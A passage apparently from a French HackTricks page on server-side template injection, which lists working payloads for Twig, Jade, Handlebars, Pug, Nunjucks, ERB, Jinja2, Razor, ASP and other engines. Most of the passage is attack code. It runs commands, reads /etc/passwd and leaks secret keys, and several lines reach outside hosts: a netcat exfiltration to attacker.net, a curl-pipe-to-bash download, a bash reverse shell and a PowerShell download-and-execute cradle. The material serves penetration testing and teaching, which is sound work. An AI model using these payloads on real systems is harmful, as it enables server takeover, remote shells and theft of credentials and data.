{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
|
||
{{['id']|filter('system')}}
|
||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||
{{['id',""]|sort('system')}}
|
||
|
||
#Hide warnings and errors for automatic exploitation
|
||
{{["error_reporting", "0"]|sort("ini_set")}}
|
||
```
|
||
**Twig - Format de modèle**
|
||
```php
|
||
$output = $twig > render (
|
||
'Dear' . $_GET['custom_greeting'],
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
|
||
$output = $twig > render (
|
||
"Dear {first_name}",
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* Dans la section Twig et Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||
|
||
### Plates (PHP)
|
||
|
||
Plates est inspiré par Twig mais c'est un moteur de template PHP natif au lieu d'un moteur de template compilé.
|
||
|
||
controller:
|
||
```php
|
||
// Create new Plates instance
|
||
$templates = new League\Plates\Engine('/path/to/templates');
|
||
|
||
// Render a template
|
||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||
```
|
||
modèle de page :
|
||
```php
|
||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||
|
||
<h1>User Profile</h1>
|
||
<p>Hello, <?=$this->e($name)?></p>
|
||
```
|
||
modèle de mise en page :
|
||
```html
|
||
<html>
|
||
<head>
|
||
<title><?=$this->e($title)?></title>
|
||
</head>
|
||
<body>
|
||
<?=$this->section('content')?>
|
||
</body>
|
||
</html>
|
||
```
|
||
### PHPlib et HTML\_Template\_PHPLIB (PHP)
|
||
|
||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) est identique à PHPlib mais porté sur Pear.
|
||
|
||
`authors.tpl`
|
||
```html
|
||
<html>
|
||
<head><title>{PAGE_TITLE}</title></head>
|
||
<body>
|
||
<table>
|
||
<caption>Authors</caption>
|
||
<thead>
|
||
<tr><th>Name</th><th>Email</th></tr>
|
||
</thead>
|
||
<tfoot>
|
||
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
|
||
</tfoot>
|
||
<tbody>
|
||
<!-- BEGIN authorline -->
|
||
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
|
||
<!-- END authorline -->
|
||
</tbody>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
`authors.php`
|
||
```php
|
||
<?php
|
||
//we want to display this author list
|
||
$authors = array(
|
||
'Christian Weiske' => 'cweiske@php.net',
|
||
'Bjoern Schotte' => 'schotte@mayflower.de'
|
||
);
|
||
|
||
require_once 'HTML/Template/PHPLIB.php';
|
||
//create template object
|
||
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
|
||
//load file
|
||
$t->setFile('authors', 'authors.tpl');
|
||
//set block
|
||
$t->setBlock('authors', 'authorline', 'authorline_ref');
|
||
|
||
//set some variables
|
||
$t->setVar('NUM_AUTHORS', count($authors));
|
||
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
|
||
|
||
//display the authors
|
||
foreach ($authors as $name => $email) {
|
||
$t->setVar('AUTHOR_NAME', $name);
|
||
$t->setVar('AUTHOR_EMAIL', $email);
|
||
$t->parse('authorline_ref', 'authorline', true);
|
||
}
|
||
|
||
//finish and echo
|
||
echo $t->finish($t->parse('OUT', 'authors'));
|
||
?>
|
||
```
|
||
### Jade (NodeJS)
|
||
|
||
### Jade (NodeJS)
|
||
```javascript
|
||
- var x = root.process
|
||
- x = x.mainModule.require
|
||
- x = x('child_process')
|
||
= x.exec('id | nc attacker.net 80')
|
||
```
|
||
|
||
```javascript
|
||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* Dans la section Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||
|
||
### patTemplate (PHP)
|
||
|
||
> [patTemplate](https://github.com/wernerwa/pat-template) moteur de modèle PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties
|
||
```xml
|
||
<patTemplate:tmpl name="page">
|
||
This is the main page.
|
||
<patTemplate:tmpl name="foo">
|
||
It contains another template.
|
||
</patTemplate:tmpl>
|
||
<patTemplate:tmpl name="hello">
|
||
Hello {NAME}.<br/>
|
||
</patTemplate:tmpl>
|
||
</patTemplate:tmpl>
|
||
```
|
||
### Handlebars (NodeJS)
|
||
|
||
Traversée de chemin (plus d'informations [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||
```bash
|
||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||
```
|
||
* \= Erreur
|
||
* ${7\*7} = ${7\*7}
|
||
* Rien
|
||
```java
|
||
{{#with "s" as |string|}}
|
||
{{#with "e"}}
|
||
{{#with split as |conslist|}}
|
||
{{this.pop}}
|
||
{{this.push (lookup string.sub "constructor")}}
|
||
{{this.pop}}
|
||
{{#with string.split as |codelist|}}
|
||
{{this.pop}}
|
||
{{this.push "return require('child_process').exec('whoami');"}}
|
||
{{this.pop}}
|
||
{{#each conslist}}
|
||
{{#with (string.sub.apply 0 codelist)}}
|
||
{{this}}
|
||
{{/with}}
|
||
{{/each}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
|
||
URLencoded:
|
||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||
|
||
### JsRender (NodeJS)
|
||
|
||
| **Modèle** | **Description** |
|
||
| ------------ | --------------------------------------- |
|
||
| | Évaluer et afficher la sortie |
|
||
| | Évaluer et afficher la sortie encodée en HTML |
|
||
| | Commentaire |
|
||
| et | Autoriser le code (désactivé par défaut) |
|
||
|
||
* \= 49
|
||
|
||
**Côté client**
|
||
```python
|
||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||
```
|
||
**Côté Serveur**
|
||
```bash
|
||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||
|
||
### PugJs (NodeJS)
|
||
|
||
* `#{7*7} = 49`
|
||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||
|
||
**Exemple de rendu côté serveur**
|
||
```javascript
|
||
var pugjs = require('pug');
|
||
home = pugjs.render(injected_page)
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||
|
||
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
|
||
|
||
* \{{7\*7\}} = 49
|
||
* \{{foo\}} = Aucune sortie
|
||
* \#{7\*7} = #{7\*7}
|
||
* \{{console.log(1)\}} = Erreur
|
||
```javascript
|
||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||
|
||
### ERB (Ruby)
|
||
|
||
* `{{7*7}} = {{7*7}}`
|
||
* `${7*7} = ${7*7}`
|
||
* `<%= 7*7 %> = 49`
|
||
* `<%= foobar %> = Erreur`
|
||
```python
|
||
<%= system("whoami") %> #Execute code
|
||
<%= Dir.entries('/') %> #List folder
|
||
<%= File.open('/etc/passwd').read %> #Read file
|
||
|
||
<%= system('cat /etc/passwd') %>
|
||
<%= `ls /` %>
|
||
<%= IO.popen('ls /').readlines() %>
|
||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Slim (Ruby)
|
||
|
||
* `{ 7 * 7 }`
|
||
```
|
||
{ %x|env| }
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Python
|
||
|
||
Consultez la page suivante pour apprendre des astuces sur **la contournement de l'exécution de commandes arbitraires en contournant les sandbox** en python :
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||
{% endcontent-ref %}
|
||
|
||
### Tornado (Python)
|
||
|
||
* `{{7*7}} = 49`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{foobar}} = Error`
|
||
* `{{7*'7'}} = 7777777`
|
||
```python
|
||
{% raw %}
|
||
{% import foobar %} = Error
|
||
{% import os %}
|
||
|
||
{% import os %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{{os.system('whoami')}}
|
||
{{os.system('whoami')}}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
### Jinja2 (Python)
|
||
|
||
[Site officiel](http://jinja.pocoo.org)
|
||
|
||
> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandbox intégré en option, est largement utilisé et sous licence BSD.
|
||
|
||
* `{{7*7}} = Erreur`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{foobar}} Rien`
|
||
* `{{4*4}}[[5*5]]`
|
||
* `{{7*'7'}} = 7777777`
|
||
* `{{config}}`
|
||
* `{{config.items()}}`
|
||
* `{{settings.SECRET_KEY}}`
|
||
* `{{settings}}`
|
||
* `<div data-gb-custom-block data-tag="debug"></div>`
|
||
```python
|
||
{% raw %}
|
||
{% debug %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{{settings.SECRET_KEY}}
|
||
{{4*4}}[[5*5]]
|
||
{{7*'7'}} would result in 7777777
|
||
```
|
||
**Jinja2 - Format de modèle**
|
||
```python
|
||
{% raw %}
|
||
{% extends "layout.html" %}
|
||
{% block body %}
|
||
<ul>
|
||
{% for user in users %}
|
||
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
|
||
{% endfor %}
|
||
</ul>
|
||
{% endblock %}
|
||
{% endraw %}
|
||
|
||
|
||
```
|
||
[**RCE non dépendant de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||
```python
|
||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
|
||
|
||
# Or in the shotest versions:
|
||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||
```
|
||
**Plus de détails sur comment abuser de Jinja**:
|
||
|
||
{% content-ref url="jinja2-ssti.md" %}
|
||
[jinja2-ssti.md](jinja2-ssti.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Mako (Python)
|
||
```python
|
||
<%
|
||
import os
|
||
x=os.popen('id').read()
|
||
%>
|
||
${x}
|
||
```
|
||
### Razor (.Net)
|
||
|
||
* `@(2+2) <= Succès`
|
||
* `@() <= Succès`
|
||
* `@("{{code}}") <= Succès`
|
||
* `@ <= Succès`
|
||
* `@{} <= ERREUR!`
|
||
* `@{ <= ERREUR!`
|
||
* `@(1+2)`
|
||
* `@( //Code C# )`
|
||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||
|
||
La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||
|
||
**Plus d'informations**
|
||
|
||
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
|
||
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||
|
||
### ASP
|
||
|
||
* `<%= 7*7 %>` = 49
|
||
* `<%= "foo" %>` = foo
|
||
* `<%= foo %>` = Rien
|
||
* `<%= response.write(date()) %>` = \<Date>
|
||
```bash
|
||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||
|
||
### Mojolicious (Perl)
|
||
|
||
Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby.
|
||
|
||
* `<%= 7*7 %> = 49`
|
||
* `<%= foobar %> = Erreur`
|
||
```
|
||
<%= perl code %>
|
||
<% perl code %>
|
||
```
|
||
### SSTI en GO
|
||
|
||
La manière de confirmer que le moteur de template utilisé dans le backend est Go est d'utiliser ces charges utiles :
|
||
|
||
* `{{ . }}` = structure de données transmise en entrée au template
|
||
* Si les données transmises sont un objet contenant l'attribut Password par exemple, la charge utile précédente pourrait le divulguer, mais vous pourriez aussi faire : `{{ .Password }}`
|
||
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne ssti dans la réponse
|
||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots de fin "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
|
||
|
||
**Exploitation XSS**
|
||
|
||
Si le serveur utilise le package **text/template**, XSS est très facile à réaliser en **fournissant simplement** votre **charge utile** en entrée. Cependant, ce n'est **pas le cas avec html/template** car il encode en HTML la réponse : `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||
|
||
Cependant, Go permet de **DÉFINIR** un **template** complet et ensuite de **l'appeler plus tard**. La charge utile ressemblera à quelque chose comme :\
|
||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||
|
||
**Exploitation RCE**
|
||
|
||
La documentation pour les modules html/template se trouve [ici](https://golang.org/pkg/html/template/), et la documentation pour le module text/template se trouve [ici](https://golang.org/pkg/text/template/), et oui, ils diffèrent beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur "call"**, ce qui n'est cependant pas le cas avec html/template.
|
||
|
||
Si vous souhaitez trouver une RCE en go via SSTI, sachez que comme vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes des objets**. Ainsi, imaginez que l'objet transmis ait une méthode appelée System qui exécute la commande donnée, vous pourriez l'exploiter avec : `{{ .System "ls" }}`\
|
||
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme ça ressemblera à :
|
||
```go
|
||
func (p Person) Secret (test string) string {
|
||
out, _ := exec.Command(test).CombinedOutput()
|
||
return string(out)
|
||
}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||
|
||
### Plus d'exploits
|
||
|
||
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||
|
||
## BlackHat PDF
|
||
|
||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||
|
||
## Aide connexe
|
||
|
||
Si vous pensez que cela pourrait être utile, lisez :
|
||
|
||
* [Astuces Flask](../../network-services-pentesting/pentesting-web/flask.md)
|
||
* [Fonctions magiques Python](broken-reference/)
|
||
|
||
## Outils
|
||
|
||
{% embed url="https://github.com/Hackmanit/TInjA" %}
|
||
|
||
{% embed url="https://github.com/vladko312/sstimap" %}
|
||
|
||
{% embed url="https://github.com/epinna/tplmap" %}
|
||
|
||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||
|
||
## Liste de détection par force brute
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||
|
||
## Pratique & Références
|
||
|
||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres moyens de soutenir HackTricks :
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|